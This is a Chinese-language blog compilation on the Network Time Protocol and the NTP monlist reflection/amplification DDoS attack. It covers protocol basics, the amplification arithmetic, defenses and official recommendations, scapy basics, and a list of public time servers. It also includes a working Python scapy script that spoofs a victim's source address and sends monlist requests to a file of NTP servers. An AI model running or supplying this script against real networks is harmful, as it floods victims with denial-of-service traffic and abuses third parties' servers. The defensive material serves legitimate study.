NTP 相关信息整理 & DRDoS

什么是 NTP

  • NTP 是网络时间协议(Network Time Protocol)的简称,干嘛用的呢?就是通过网络协议使计算机之前的时间同步化。而发布这种校对时间的服务器,就是NTP Server
  • 一般来说客户端与服务器之间的时间误差在几十毫秒以内,当然,如果你的时间服务器在美国或者欧洲,误差可能稍大一些。在我们的日常生活中,能接触到NTP的也基本就是你的Windows系统和你的路由器系统,而且这两种系统对标准时间的精度要求不是很高,就算是不联网,不进行时间校正,只要大概精确到小时,是不会出现问题的。不过怎么说呢,我本人属于“轻微强迫症”,就得把自己的Windows和路由器的时间搞得相当精确
  • NTP Reply Flood Attack (NTP射型Ddos攻击)以下简称NTP_Flood是一种利用网络中NTP服务器的脆弱性(无认证,不等价数据交换,UDP协议),来进行DDos行为的攻击,本文将就此种攻击的产生原因,利用方法等进行阐述,并使用编程语言(Python,C++)对此攻击进行实现
  • NTP服务器【Network Time Protocol(NTP)】是用来使计算机时间同步化的一种协议,它可以使计算机对其服务器或时钟源(如石英钟,GPS等等)做同步化,它可以提供高精准度的时间校正(LAN上与标准间差小于1毫秒,WAN上几十毫秒),且可介由加密确认的方式来防止恶毒的协议攻击。
  • 网络时间协议(NTP)是一种通过因特网服务于计算机时钟的同步时间协议。它提供了一种同步时间机制,能在庞大而复杂多样因特网中用光速调整时间分配。它使用的是可返回时间设计方案,其特点是:时间服务器是一种分布式子网,能自我组织操作、分层管理配置,经过有线或无线方式同步逻辑时钟达到国家标准时间。此外,通过本地路由选择运算法则及时间后台程序,服务器可以重新分配标准时间。
  • NTP 的设计带来了三种产品 — 时钟偏移、时间延迟及差量,所有这三种与指定参考时钟都是相关联的。时钟偏移表示调整本地时钟与参考时钟相一致而产生的偏差数;时间延迟表示在指定时间内发送消息与参考时钟间的延时时间;差量表示了相对于参考时钟本地时钟的最大偏差错误。因为大多数主机时间服务器通过其它对等时间服务器达到同步,所以这三种产品中的每一种都有两个组成部分:其一是由对等决定的部分,这部分是相对于原始标准时间的参考来源而言;其二是由主机衡量的部分,这部分是相对于对等而言。每一部分在协议中都是独立维持的,从而可以使错误控制和子网本身的管理操作变得容易。它们不仅提供了偏移和延迟的精密测量,而且提供了明确的最大错误范围,这样用户接口不但可以决定时间,而且可以决定时间的准确度。
  • NTP 源于时间协议和 ICMP 时间标志消息,但其设计更强调精确度和充足性两个方面,即使是用于网络路径上包括多路网关、延迟差量及不可靠网络。当前使用的最新版是 NTPv3,它與以前的版本兼容

名词解释:

  • ntp server :和原子钟同步同步,或以自己为标准时间的ntp服务器。
  • ntp relay server:在/etc/ntp.conf中配置顶级 服务器,以它们为权威ntp server 的时间中继服务器,也向其它ntp 服务器和终端用户提供时间同步功能。大多数机构和个人自行搭建的ntp server均属于这种。
  • ntp client :ntp 服务器之间,ntp服务器与终端用户之间有多种关联关系,其中一种为server /client 模式。所以,个人理解ntp client这个词相对而言的。
  • 即当一台ntp 服务器(代号ABC)向权威/顶级 ntp server 同步时,此时的ABC的角色就是ntp client,当其响应下层ntp server的同步请求或响应终端用户的ntpdate请求时,ABC就是ntp server。
  • NTP协议(network time protocol)是标准的网络时间同步协议,它采用层次化时间分布模型。网络体系结构主要包括主时间服务器、从时间服务器和客户机。主时间服务器位于根节点,负责与高精度时间源进行同步,为其他节点提供时间服务;各客户端由从时间服务器经主服务器获得时间同步。
  • 以一个大企业网为例,企业搭建自身的时间服务器,作为从时间服务器,负责从主时间服务器同步时间,然后再负责将时间同步给企业的各业务系统。为确保时间同步延迟小,每个国家按地域搭建为数众多的时间服务器,作为主时间服务器,满足互联网各业务系统的时间同步需求。
  • 随着网络信息化的高速发展,包括金融业,电信业,工业,铁路运输,航空运输业等各行各业对于以太网技术的依赖日益增强。各式各样的应用系统由不同的服务器组成,如电子商务网站由WEB服务器、认证服务器和数据库服务器组成,WEB应用要正常运行,必须实时确保WEB服务器、认证服务器和数据库服务器之间的时钟同步。再比如分布式的云计算系统、实时备份系统、计费系统、网络的安全认证系统甚至基础的网络管理,都强依赖于精确的时间同步。

神秘的NTP Flood为什么如此受黑客的青睐呢?

  • NTP协议是基于UDP协议的服务器/客户端模型,由于UDP协议的无连接性(不像TCP具有三次握手过程)具有天然的不安全性缺陷。黑客正式利用NTP服务器的不安全性漏洞发起DDoS攻击。只需2步,即可轻松实现四两拨千斤的攻击效果。
  • 第一步:寻找目标,包括攻击对象和网络上的NTP服务器资源。
  • 第二步:伪造要“攻击对象”的IP地址向NTP服务器发送请求时钟同步请求报文,为了增加攻击强度,发送的请求报文为Monlist请求报文,威力则更猛。NTP协议包含一个monlist功能,用于监控 NTP 服务器,NTP 服务器响应monlist指令后就会返回与其进行过时间同步的最近 600 个客户端的IP地址。响应包按照每6个IP进行分割,最多一个NTP monlist请求会形成100 个响应包,具有强的放大的能力。实验室模拟测试显示,当请求包的大小为234字节时,每个响应包为 482 字节,单纯按照这个数据,计算出放大的倍数是:482*100/234 = 206倍!
  • 哇哈哈~~~攻击效果很明显,被攻击目标很快出现拒绝服务现象,更有甚者整个网络拥塞。
  • 自从黑客组织DERP发现NTP发起反射攻击效果后,便在在2013年12月底上演了针对包括EA、暴雪等大型游戏公司的一系列DDoS攻击事件中,使用了NTP反射攻击。看起神秘的NTP反射攻击,其实并不神秘,与DNS反射攻击具有异曲同工之效,都是利用UDP协议的不安全漏洞,利用开放的服务器发起的,不同的是NTP威胁性更强,因为每个数据中心服务器都需要时钟同步,无法通过协议、端口的过滤来进行防护。
  • 总结起来反射类攻击最大的特点,就是以小博大,四两拨千斤,利用各种协议漏洞来放大攻击效果,但万变不离其宗,只要捏住攻击的“七寸”,就能从根本上遏制攻击。而反射攻击的“七寸”就是它的流量异常。这就需要防护系统能够及时发现流量的异常,而发现异常还远远不够,防护系统还要有足够的性能来抵御这种简单粗暴攻击,要知道现在的攻击动辄都是100G起了,防护系统要是没个几百G的防护能力,就是发现了,也只能干瞪眼。
  • 华为Anti-DDoS系统会主动建立数十种多种维度流量模型,第一时间发现流量异常,同时高达数百G的防护能力,足以应对已知的最大流量攻击。

NTP 反射和放大攻击

  • 那什么是 NTP 反射和放大攻击呢?如果听过 DNS 反射和放大攻击的话应该就会对这个比较容易理解了,协议不同,效果一样。
  • 我们先来说说放射和放大攻击:
  • 无论是基于 DNS 还是基于 NTP,其最终都是基于 UDP 协议的。在 UDP 协议中正常情况下客户端发送请求包到服务端,服务端返回响应包到客户端,但是 UDP 协议是面向无连接的,所以客户端发送请求包的源 IP 很容易进行伪造,当把源 IP 修改为受害者的 IP,最终服务端返回的响应包就会返回到受害者的 IP。这就形成了一次反射攻击。
  • 放大攻击呢就是一次小的请求包最终会收到一个或者多个多于请求包许多倍的响应包,这样就达到了四两拨千斤的效果。
  • 那我们接着来看什么是 NTP 的反射和放大攻击,NTP 包含一个 monlist 功能,也被成为 MON_GETLIST,主要用于监控 NTP 服务器,NTP 服务器响应 monlist 后就会返回与 NTP 服务器进行过时间同步的最后 600 个客户端的 IP,响应包按照每 6 个 IP 进行分割,最多有 100 个响应包。
  • 我们可以通过 ntpdc 命令向一个 NTP 服务器发送 monlist 以及结合抓包来看下实际的效果。
pangzi@pangzi-mac ~$ ntpdc -n -c monlist x.x.x.x | wc -l
602
我电脑上运行下面的
sudo ntpdate ntp.sjtu.edu.cn
  • 在上面的命令行中我们可以看到一次含有 monlist 的请求收到 602 行数据,除去头两行是无效数据外,正好是 600 个客户端 IP 列表,并且从上面图中的 wireshark 中我们也看到显示有 101 个 NTP 协议的包,除去一个请求包,正好是 100 个响应包。
  • 从上图中我们可以看到请求包的大小为 234 字节,每个响应包为 482 字节,如果单纯按照这个数据我们可以计算出放大的倍数是:482*100/234 = 206 倍。其实如果通过编写攻击脚本,请求包会更小,这个倍数值会更大,这样算起来是不是蛮屌的。

如何利用 & 编写脚本

  • 我们通过 scapy 实现一个简单的攻击脚本,代码如下:
#!/usr/bin/env python
# author: pangzi.me@gmail.com
import sys
from scapy.all import *
def attack(target, ntp_server):
    send(IP(dst=ntp_server, src=target)/(UDP(sport=52816)/NTP(version=2, mode=7, stratum=0, poll=3, precision=42)))
if __name__ == "__main__":
    if len(sys.argv) != 3:
        sys.exit(1)
    target = sys.argv[1]
    ntp_server_file = sys.argv[2]
    for ntp_server in open(ntp_server_file, "r"):
        ntp_server = ntp_server.strip()
        if ntp_server != "":
            attack(target, ntp_server)

如何防御

  • 我们可以分为两种情况进行防御
  • 加固 NTP 服务
    1. 把 NTP 服务器升级到 4.2.7p26
    1. 关闭现在 NTP 服务的 monlist 功能,在ntp.conf配置文件中增加disable monitor选项
    1. 在网络出口封禁 UDP 123 端口
  • 防御 NTP 反射和放大攻击
    1. 由于这种攻击的特征比较明显,所以可以通过网络层或者借助运营商实施 ACL 来防御
    1. 使用防 DDoS 设备进行清洗
  • 不过我觉得如果流量真的够大,400G?800G?或者更大,又有谁能够防得住呢?

集美大学 官方对策和建议

  • 三、对策建议
  • 目前,国内大量服务器和网络设备均开放了UDP 123端口,因此极易构成一个巨大的可被利用的僵尸网络,而目前基础电信运营企业对此尚无法做到完全有效控制。建议各基础电信企业、重要信息系统运行单位等进一步加强安全威胁防范:
  • (一)思科、Juniper已在其官网公布受NTP DRDoS攻击影响的服务器版本,其余设备厂商尚未针对此类攻击发布受影响版本。建议各单位继续加强关注,尽快将受影响的NTP服务器ntpd程序升级到4.2.7版本及以上。
  • (二)进一步加强异常流量监测,对NTP流量过大的自有系统服务器进行NTP访问控制,或限制NTP服务器的流出流量。
  • (三)根据中国电信采取的积极经验,建议各基础电信企业在国际出入口和互联互通层面对NTP流量进行监测和调控,降低来自国外大规模NTP DRDoS攻击的可能性。
  • (四)各基础电信企业应在全网范围内切实认真组织实施源地址验证,按要求深入推进虚假源地址整治工作,建设完善流监测技术手段,增强对DRDoS攻击的监测发现和分析能力。
  • CNCERT也将对此类NTP DRDoS攻击行为进行有针对性的监测和通报,及时发布预警信息,会同相关单位防范和处置利用NTP等服务进行DRDoS攻击的黑客行为。
  • 注:感谢中国电信集团公司SOC团队提供的监测数据和技术支持。

no server suitable for synchronization found 错误

  • 当用ntpdate -d 来查询时报错:
 "no server suitable for synchronization found "
  • 错误的原因有以下2个:
Server dropped: Strata too high

Scrapy

安装
运行
启动
  • sudo scapy 或
  • 在 ipython 中执行
import scapy
但要注意:
>>> from scapy import conf
会提出错误,要使用
>>> from scapy.all import conf
简单的利用
  • 生成四个IP的包,其中/30得到子网掩码。如下:
Python 2.7.3 (default, Apr 10 2013, 05:09:49)
[GCC 4.7.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from scapy.all import *
WARNING: No route found for IPv6 destination :: (no default route?)
>>> IP()
<IP  |>
>>> target="www.baidu.com"
>>> target="www.baidu.com/30"
>>> ip=IP(dst=target)
>>> ip
<IP  dst=Net('www.baidu.com/30') |>
>>> [p for p in ip]
[<IP  dst=61.135.169.104 |>, <IP  dst=61.135.169.105 |>, <IP  dst=61.135.169.106 |>, <IP  dst=61.135.169.107 |>]
>>>

FAQ

NTP Reply Flood Attack (NTP反射型DDos攻击) 影响的范围? 仅影响 ntp server 还是对 ntp client 也影响?
  • 不论是ntp server 还是 ntp relay server 只要能响应monlist请求,其就应该能被利用发起NTP反射型DDos攻击。
  • 也就是说,只要是没有加固的,低于 4.2.7p26 版本的 ntpd 服务(Linux平台)应该受到此漏洞影响。Windwos平台未测试。
  • 个人为验证此问题,搭建了一台 ntp relay server做测试,其步骤也极为简单。
  • 环境:RHEL6.2;ntpd 4.2.4p8。

国内常用的NTP地址

210.72.145.44 (国家授时中心服务器IP地址)
133.100.11.8 日本 福冈大学
time-a.nist.gov 129.6.15.28 NIST, Gaithersburg, Maryland
time-b.nist.gov 129.6.15.29 NIST, Gaithersburg, Maryland
time-a.timefreq.bldrdoc.gov 132.163.4.101 NIST, Boulder, Colorado
time-b.timefreq.bldrdoc.gov 132.163.4.102 NIST, Boulder, Colorado
time-c.timefreq.bldrdoc.gov 132.163.4.103 NIST, Boulder, Colorado
utcnist.colorado.edu 128.138.140.44 University of Colorado, Boulder
time.nist.gov 192.43.244.18 NCAR, Boulder, Colorado
time-nw.nist.gov 131.107.1.10 Microsoft, Redmond, Washington
nist1.symmetricom.com 69.25.96.13 Symmetricom, San Jose, California
nist1-dc.glassey.com 216.200.93.8 Abovenet, Virginia
nist1-ny.glassey.com 208.184.49.9 Abovenet, New York City
nist1-sj.glassey.com 207.126.98.204 Abovenet, San Jose, California
nist1.aol-ca.truetime.com 207.200.81.113 TrueTime, AOL facility, Sunnyvale, California
nist1.aol-va.truetime.com 64.236.96.53 TrueTime, AOL facility, Virginia
————————————————————————————————————
ntp.sjtu.edu.cn 202.120.2.101 (上海交通大学网络中心NTP服务器地址)
s1a.time.edu.cn 北京邮电大学
s1b.time.edu.cn 清华大学
s1c.time.edu.cn 北京大学
s1d.time.edu.cn 东南大学
s1e.time.edu.cn 清华大学
s2a.time.edu.cn 清华大学
s2b.time.edu.cn 清华大学
s2c.time.edu.cn 北京邮电大学
s2d.time.edu.cn 西南地区网络中心
s2e.time.edu.cn 西北地区网络中心
s2f.time.edu.cn 东北地区网络中心
s2g.time.edu.cn 华东南地区网络中心
s2h.time.edu.cn 四川大学网络管理中心
s2j.time.edu.cn 大连理工大学网络中心
s2k.time.edu.cn CERNET桂林主节点
s2m.time.edu.cn 北京大学
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值